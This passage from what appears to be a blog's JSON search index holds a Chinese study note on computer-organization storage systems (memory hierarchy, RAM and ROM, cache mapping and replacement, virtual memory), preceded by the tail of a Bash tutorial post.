\\\u0026#34;\u0026#34;$0\u0026#34;\\\u0026#34;\u0026#34;}\u0026#39;\u003c/span\u003e | bash\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"计组笔记:第四章-存储系统","time":"2023-05-31T21:55:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"4-1-概述\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-%E6%A6%82%E8%BF%B0\" class=\"headerlink\" title=\"4.1.概述\"\u003e\u003c/a\u003e4.1.概述\u003c/h2\u003e\u003cp\u003eCPU通过总线,和系统中各部分组件相连接。和它连接的硬件,其中就有一组由各部分组件构成的一个存储系统。此外还有其他通过“接口”和总线相连接的外设。接口中有着一些可编程部分,它们负责统一总线通信协议。\u003c/p\u003e\u003cp\u003eBIOS存储在一个固化的存储芯片中,负责引导系统开机。引导系统加载后,它跳转到系统的内存位置,结束任务。操作系统则负责加载自己的其余部分。\u003c/p\u003e\u003cp\u003e在这个过程中,CPU先从Flash取指令,再从主存MM中取指令,其中也会从硬盘加载指令来执行。\u003c/p\u003e\u003ch3 id=\"4-1-1-存储系统的层次结构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-1-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"4.1.1.存储系统的层次结构\"\u003e\u003c/a\u003e4.1.1.存储系统的层次结构\u003c/h3\u003e\u003cp\u003e系统的存储体系属于金字塔型多级结构。从寄存器到Cache,MM,ROM,磁盘,设备的存储速度逐步下降,价格也逐步下降,存储空间也逐步增加。而这整个体系对于CPU而言是一个完整的体系,它们具有寄存器的速度,也具有磁盘的大容量。这就是依靠存储体系实现的。典型的存储体系\u003cstrong\u003e是一个三层结构\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e存储器的三大要求:大容量、高速度、低成本。这三者往往是矛盾的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本章的重点是Cache部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eCPU中的寄存器一般使用触发器实现。它集成度最低,容量最小,但是速度也最快。Cache使用SRAM实现,MM使用DRAM实现,BIOS使用ROM实现,辅存使用HDD实现,还有其他脱机存储器,比如磁带,光盘等。\u003c/p\u003e\u003cp\u003e现在,CPU内部的Cache也有多级缓存结构,例如L1 Cache,L2 Cache,L3 Cache。\u003c/p\u003e\u003cp\u003e系统的总线分为北桥和南桥,前者速度比较快,跟CPU相连更近;后者离CPU更远,因此更慢。不过现在南北桥已经集成到SoC(System on Chip)了,两个已经合成一个芯片。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601062558.png\"/\u003e\u003c/p\u003e\u003cp\u003e一般存储体系有两种:\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache存储体系 由Cache和主存构成,主要为了提高存储器速度;对系统程序员以上均透明(不可见)\u003c/li\u003e\u003cli\u003e虚拟存储器系统 由主存和磁盘构成,主要是为了扩大容量;对应用程序员透明\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e透明的说法在这些计算机的书里很流行,它的意思不是说可见,而是说它本身和一块玻璃一样,不可被看见。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"存储器分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#%E5%AD%98%E5%82%A8%E5%99%A8%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"存储器分类\"\u003e\u003c/a\u003e存储器分类\u003c/h4\u003e\u003cp\u003e分类标准:介质、用途、信息易失性、存取方式(随机,例如RAM;顺序访问,例如顺序存取存储器SAM,直接存取存储器DAM)、读写功能(读写,只读)。\u003c/p\u003e\u003cp\u003e也可以如下分类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e基本型存储器\u003cul\u003e\u003cli\u003e半导体\u003cul\u003e\u003cli\u003e易失RAM\u003cul\u003e\u003cli\u003eS(Static)RAM\u003c/li\u003e\u003cli\u003eD(Dynamic)RAM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e非易失ROM\u003cul\u003e\u003cli\u003eEPROM紫外线擦除\u003c/li\u003e\u003cli\u003eEEPROM($E^2ROM$)电擦除\u003cul\u003e\u003cli\u003eFlash闪速\u003cul\u003e\u003cli\u003eNOR随机访问,可存储固件\u003c/li\u003e\u003cli\u003eNAND只能顺序存储,可以做大容量存储器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e磁:磁盘\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e复合型存储器\u003cul\u003e\u003cli\u003e半导体:多端口、多体交叉、相联\u003c/li\u003e\u003cli\u003e磁:磁盘阵列(RAID)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"4-1-2-存储器的性能指标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-2-%E5%AD%98%E5%82%A8%E5%99%A8%E7%9A%84%E6%80%A7%E8%83%BD%E6%8C%87%E6%A0%87\" class=\"headerlink\" title=\"4.1.2.存储器的性能指标\"\u003e\u003c/a\u003e4.1.2.存储器的性能指标\u003c/h3\u003e\u003cp\u003e容量、速度(存取时间;存取周期;存储器带宽,单位时间存储器可以读出/写入的字节数,$B_m=\\frac{n}{t_m}$,分子是每次读写字节数,分母是存取周期)、可靠性、功耗、价格、体积、重量、封装方式、工作电压、环境条件等。\u003c/p\u003e\u003ch3 id=\"4-2-1-随机读写存储器RAM\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-1-%E9%9A%8F%E6%9C%BA%E8%AF%BB%E5%86%99%E5%AD%98%E5%82%A8%E5%99%A8RAM\" class=\"headerlink\" title=\"4.2.1.随机读写存储器RAM\"\u003e\u003c/a\u003e4.2.1.随机读写存储器RAM\u003c/h3\u003e\u003col\u003e\u003cli\u003e内部译码结构:\u003col\u003e\u003cli\u003e一维译码:使用类似74138的译码器将地址对应到存储单元\u003c/li\u003e\u003cli\u003e二维译码:一个行选,一个列选,适合大规模存储器的译码\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e单元电路\u003col\u003e\u003cli\u003e静态读写存储器SRAM\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e由6个晶体管实现,只要不断电,信息不丢失。初始加电,状态随机。电路中总有晶体管导通,功耗大,集成度不高。\u003cbr/\u003e 2. 动态读写存储器DRAM\u003c/p\u003e\u003cp\u003e四个晶体管实现。内部由电容维持电荷,因此需要定时读取刷新来保持数据。功耗低,集成度高。现在更新的DRAM可以只用一个晶体管和一个电容来实现,因此可以有更高的集成度。通过SenseAMP,可以根据电压变化来刷新存储器的内容。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 3. 内存构成 1. 单片存储器芯片的连接\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e引脚定义:Dn是数据线,An是地址线,OE是读开关,WE是写开关,CS是控制开关,也就是片选端口。\u003c/p\u003e\u003cp\u003e连接方式如图所示,特殊的部分主要集中在片选端口上。这部分电路叫做内存地址译码电路,它负责选择不同的芯片。注意,上划线的是\u003cstrong\u003e低电平有效端口\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e这里的重点就是地址范围分析。这个很简单,只需要让CS为低电平的信号作为高位,再去看低12位的地址总线就能看出来地址范围了。比如,下图的地址范围就是F0000H~F1FFFH这个地址范围。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601065833.png\"/\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 2. 内存的字扩展\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e使用$8K*8bit$的SRAM去构成32KB的内存,只需要让二者的位数对应上就行。比如这里就只需要4个这种规格的SRAM芯片。如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601071051.png\"/\u003e\u003c/p\u003e\u003cp\u003e所有芯片的Dn和An、OE、WE都并联。而CS则由74138控制片选情况。这时就可以分析得到,从上到下四个芯片的地址范围分别是C0000\u003cdel\u003eC1FFF,C2000\u003c/del\u003eC3FFF,C4000\u003cdel\u003eC5FFF,C6000\u003c/del\u003eC7FFF。这称为字扩展。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 3. 内存的位扩展\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e例如,用$2K\u003cem\u003e4bit$的存储芯片构成$2K\u003c/em\u003e8bit$的存储芯片。这种接法如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601071451.png\"/\u003e\u003c/p\u003e\u003cp\u003e也是用74138去进行片选,同时BHE也需要控制。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里经常会有内存范围的计算。计算地址范围的大小时,记得大地址减去小地址后加一。例如78000H到97FFFH,计算时就应该是用$98000H-78000H=20000H$,也就是$2^{17}$字节(一般都是\u003cstrong\u003e按字节编址\u003c/strong\u003e),因此需要$(2^{17}\\div 2^{10})KB\\div 2KB=64$片这样的芯片。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以参考这个例题食用:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601072428.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-2-2-只读存储器ROM\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-2-%E5%8F%AA%E8%AF%BB%E5%AD%98%E5%82%A8%E5%99%A8ROM\" class=\"headerlink\" title=\"4.2.2.只读存储器ROM\"\u003e\u003c/a\u003e4.2.2.只读存储器ROM\u003c/h3\u003e\u003cul\u003e\u003cli\u003e特点:存储信息的非易失性\u003c/li\u003e\u003cli\u003e分类:\u003cul\u003e\u003cli\u003e掩膜型ROM\u003c/li\u003e\u003cli\u003e可编程ROM:PROM、OTP-ROM\u003c/li\u003e\u003cli\u003e可擦写编程ROM:(UV)EPROM、EEPROM、Flash(NOR、NAND)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"4-2-3-动态存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-3-%E5%8A%A8%E6%80%81%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.2.3.动态存储器\"\u003e\u003c/a\u003e4.2.3.动态存储器\u003c/h3\u003e\u003col\u003e\u003cli\u003e一般的动态存储器DRAM:以Intel 2164A为例\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e无论读写,地址都需要分两次来送。第一次时,给RAS一个下降沿,第二次,给CAS一个下降沿,来让芯片读取这两个地址。得到地址之后,芯片把数据送出数据线。这和如今的DRAM芯片一致。它\u003cstrong\u003e每隔2ms刷新一次\u003c/strong\u003e。只需要给RAS一个下降沿,就能刷新一行的DRAM。\u003c/p\u003e\u003cp\u003e这里可能会考到引脚相关的问题,如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601074346.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e常用刷新方式:\u003cul\u003e\u003cli\u003e集中式:有概率会遇到死区(不可用时段),因为刷新时间会集中占用一个时段\u003c/li\u003e\u003cli\u003e分布式:更短的刷新周期,将刷新的周期均匀分布到读取时间段。但是内存访问时延变长了\u003c/li\u003e\u003cli\u003e异步式(最常用):$Row\\div T_{Refresh}$得到周期,再在每个周期最后刷新内存。它将刷新安排在指令译码阶段,不会出现死区。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e同步动态存储器SDRAM\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eDDR SDRAM:上升和下降沿都能读写数据。\u003c/p\u003e\u003ch3 id=\"4-2-5-其他存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-5-%E5%85%B6%E4%BB%96%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.2.5.其他存储器\"\u003e\u003c/a\u003e4.2.5.其他存储器\u003c/h3\u003e\u003col\u003e\u003cli\u003e多端口存储器:DS1609,有两个数据端\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601074730.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e多体交叉存储器:并行,提高读写性能\u003c/p\u003e\u003col\u003e\u003cli\u003e多体并行访问:80x86处理器内存组织\u003c/li\u003e\u003cli\u003e多体交叉访问:类似流水线的重复设置瓶颈段的操作,能大大提高性能。连续读m个数据,需要的时间:$T+(m-1)\\cdot \\Delta t$。类比于流水线的加速比,它也有加速比,$B=\\frac{1-(1-\\lambda)^m}{\\lambda}$。标量机中,m取2~8;超量机中,主存分体数可以超过32\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e相联存储器:一种多路选择器构成的Key-Value形式存储器\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602141355.png\"/\u003e\u003c/p\u003e\u003cp\u003e它的用途有:Cache的目录表、页表的块表(TLB)等。\u003c/p\u003e\u003ch2 id=\"4-3-高速缓冲存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-%E9%AB%98%E9%80%9F%E7%BC%93%E5%86%B2%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.3.高速缓冲存储器\"\u003e\u003c/a\u003e4.3.高速缓冲存储器\u003c/h2\u003e\u003cp\u003e它是实现金字塔型存储体系的关键所在。它可以将上一部分频繁使用的部分存放在其中,以此来提高性能(这是因为它本身的速度就很快)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e局部性原理:时间/空间局部性,相关的变量,会在时间/空间上存在局部性比如循环变量,会存在时间局部性;相邻的数组元素,存在空间局部性\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602143757.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是Cache的作用:命中的话,直接使用;未命中Cache,则访问主存,并改动Cache。这一步得注意,由于Cache存在,就出现了数据不一致性,因此得控制好数据写回时机来保证数据一致性。\u003c/p\u003e\u003ch3 id=\"4-3-2-地址映射\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-2-%E5%9C%B0%E5%9D%80%E6%98%A0%E5%B0%84\" class=\"headerlink\" title=\"4.3.2.地址映射\"\u003e\u003c/a\u003e4.3.2.地址映射\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e地址映像\u003c/strong\u003e 就是把主存上的数据按照某种规则装入Cache,并建立主存和Cache地址间的映射。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e地址变换\u003c/strong\u003e 使用Cache中数据之前,必须先把程序从主存地址变换成Cache地址才能使用。\u003c/li\u003e\u003cli\u003e选取地址映射的原则:\u003cul\u003e\u003cli\u003e地址变换硬件要高速、低价、易于实现\u003c/li\u003e\u003cli\u003eCache空间利用率要高\u003c/li\u003e\u003cli\u003e发生\u003cstrong\u003e块冲突\u003c/strong\u003e概率要小\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e这种映射的调度单位是\u003cstrong\u003e块\u003c/strong\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e映射方式一般有三种:\u003cstrong\u003e全相联、直接映射、组相联\u003c/strong\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e全相联:主存的任意一块可以映像到Cache的任意一块(可以认为是完全自由的装法)。具体如下图所示:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602150346.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e直接映射:按照Cache容量对主存分区,一个区的块只能装入一个Cache的对应位置。不过这里得注意,目录不存块号了,存的是区号。块号在Cache开头存着。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602151210.png\"/\u003e\u003c/p\u003e\u003cp\u003e这样的好处就是,不用相联存储器,访问速度也快(不需要地址变换)。不过缺点也很明显:Cache块利用率低,块冲突概率高。特别是,如果主存存储的变量具有空间相关性(比如数组),那这一个Cache位置几乎每次访问都不会命中了。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e组相联:跟上面一样,将主存按Cache总大小分区,每个区内部按照Cache规则分组,每个组中有若干块。具体如下图:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602153928.png\"/\u003e\u003c/p\u003e\u003cp\u003e它是前两者的折中,优点是提高了利用率,降低了冲突率,也大幅降低了失效比率。但是问题是制造成本和难度上升了。\u003c/p\u003e\u003cp\u003e做题时,要解决Cache分块,只需要把主存地址按照每个编号类型的长度来划分就行。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602161840.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-3-3-替换算法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-3-%E6%9B%BF%E6%8D%A2%E7%AE%97%E6%B3%95\" class=\"headerlink\" title=\"4.3.3.替换算法\"\u003e\u003c/a\u003e4.3.3.替换算法\u003c/h3\u003e\u003cp\u003e直接映射不需要替换算法。全相联、组相联有如下几种替换算法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e随机替换算法\u003c/li\u003e\u003cli\u003e先进先出替换算法(FIFO)\u003cul\u003e\u003cli\u003e它还有一个二次机会的版本\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e最不经常使用替换算法(LFU):总的使用频次最少,\u003cstrong\u003e实现困难\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e近期最少使用替换算法(LRU):上一次使用的时间点最晚\u003c/li\u003e\u003cli\u003e最佳替换算法(OPT):预测将来的情况,根据将来的情况替换。作为其他算法的性能基准\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e关于一致性问题有两种策略:写回法,只有Cache被替换时才将它写回;全写/写直达法,写入Cache时顺便写入主存,如果未命中,则直接写主存,然后根据WTWA/WTNWA(写分配/不分配法)来决定是否将块取到Cache。前一种方法高性能,后一种主存一致性好。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602171124.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-3-5-Cache性能分析\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-5-Cache%E6%80%A7%E8%83%BD%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"4.3.5.Cache性能分析\"\u003e\u003c/a\u003e4.3.5.Cache性能分析\u003c/h3\u003e\u003col\u003e\u003cli\u003e加速比\u003cul\u003e\u003cli\u003eCache-主存系统的平均访问时间(周期)$T_A$:\u003cul\u003e\u003cli\u003e$T_A=H\\times T_C + (1-H)\\times T_M$\u003c/li\u003e\u003cli\u003e$T_A=H\\times T_C + (1-H)\\times(T_B+T_C)=T_C+(1-H)\\times T_B$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e其中,$T_C$和$T_M$分别是Cache和主存的访问周期,数据块装入Cache的时间是$T_B$,Cache的命中率为$H$。当命中率很高时,$T_A \\to T_C$。\u003c/p\u003e\u003cp\u003e上面的两个等式,对应的分别是1,2两种情况。第二个式子的考量就是,如果没有命中缓存,则耗时为缓存装入时间加上缓存访问时间。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602200132.png\"/\u003e\u003c/p\u003e\u003cp\u003e例如,假设$H=95%,T_M=100ns,T_C=10ns$,则可得$T_A=14.5ns,S_P=6.9$。其中的$S_P$就是加速比,定义为$S_P=\\frac{T_M}{T_A}$。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e成本\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e$C=(C_1\\times S_1+C_2\\times S_2)/(S_1+S_2)$,也就是主存价格*主存容量+缓存价格*缓存容量\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e命中率与Cache容量的关系:\u003cbr/\u003e$H=1-S^{-0.5}$\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602201118.png\"/\u003e\u003c/p\u003e\u003cp\u003e这给出了Cache容量的合理考虑区间。\u003c/p\u003e\u003col start=\"4\"\u003e\u003cli\u003e命中率与块大小的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602201348.png\"/\u003e\u003c/p\u003e\u003col start=\"5\"\u003e\u003cli\u003e两级Cache\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e未命中率(失效率):$\\text{总失效率}=\\text{失效率}_\\text{第一级} \\times \\text{失效率}_\\text{第二级}$\u003c/p\u003e\u003ch2 id=\"4-4-虚拟存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-4-%E8%99%9A%E6%8B%9F%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.4.虚拟存储器\"\u003e\u003c/a\u003e4.4.虚拟存储器\u003c/h2\u003e\u003cp\u003e高速的主存容量不能满足要求,因此开发出了虚拟存储器(软件实现)。\u003c/p\u003e\u003cp\u003eCPU集成的:Cache,MMU等。这些为主存的实现提供了基础。\u003c/p\u003e\u003cp\u003e虚拟存储器=主存储器+外部存储器+辅助硬件(MMU)+系统软件(OS)。而虚拟地址得先转换成指向真实物理内存的物理地址才能拿来使用(地址转换)。\u003c/p\u003e\u003cp\u003e地址映像:全相联;地址变换:MMU。虚拟存储器相当于内存扩展的一种实现手段,通过将内存映像到磁盘上,模仿Cache的原理,以此扩大主存容量。\u003c/p\u003e\u003cp\u003e这其中涉及三种地址空间:\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚拟地址空间:编程中用到的\u003c/li\u003e\u003cli\u003e主存储器地址空间:物理地址\u003c/li\u003e\u003cli\u003e辅助地址空间:磁盘存储器的地址\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因地址映像和变换方法不同,存储方式分为段式存储、页式存储、段页式存储。\u003c/p\u003e\u003cul\u003e\u003cli\u003e段式存储:每个程序段从0开始编址,长度不定。如下图,把数据分段,再把数据装入内存。对于不常用的段,系统会把它放入磁盘。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603231831.png\"/\u003e\u003c/p\u003e\u003cp\u003e缺点有俩。一个是太慢了。因为得做两次运算;另一个是,页表太大了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e页式虚拟存储器:跟上面一样,分页,页大小固定。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的缺点很明显。当地址空间过大时,它的体积会很大。为了解决这个问题,出现了多级页表。\u003c/p\u003e\u003cp\u003e\u003cimg 